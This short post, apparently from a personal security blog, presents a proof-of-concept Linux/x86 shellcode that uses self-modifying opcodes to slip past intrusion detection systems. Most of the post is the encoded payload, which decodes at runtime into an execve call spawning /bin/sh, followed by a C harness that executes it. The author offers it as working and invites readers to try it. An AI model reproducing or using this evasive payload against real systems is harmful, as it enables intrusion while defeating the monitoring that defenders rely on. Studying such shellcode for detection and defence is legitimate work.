Linux/x86 IDS evasion shellcode

When I was young I learned from Sergio Alvarez (Shadow), maybe the most skilled shellcoder from Argentina, a lot of the most weird, strange and amazing shellcoding techniques. Shadow is simply awesome..

This is a PoC of shellcode I developed using his technique to self-modifying opcodes to a multipurpose, in this case is to avoid an IDS… yes I know, maybe you can’t believe me, but just try!.. it’s an old shellcode but is one of the most advanced techniques in the world 😉

char rockaleta[] = "\xeb\x1c\x5a\x89\xd6\x8b\x02\x66\x3d\xca\x7d\x75\x06\x66\x05\x03\x03\x89\x02\xfe\xc2\x3d\x41\x41\x41\x41\x75\xe9\xff\xe6\xe8\xdf\xff\xff\xff\x31\xd2\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xca\x7d\x41\x41\x41\x41";
int main ()
{
printf("Length: %d bytes\n", strlen(rockaleta));
int (*sc)() = (int (*)())rockaleta;
sc();
return 0;
}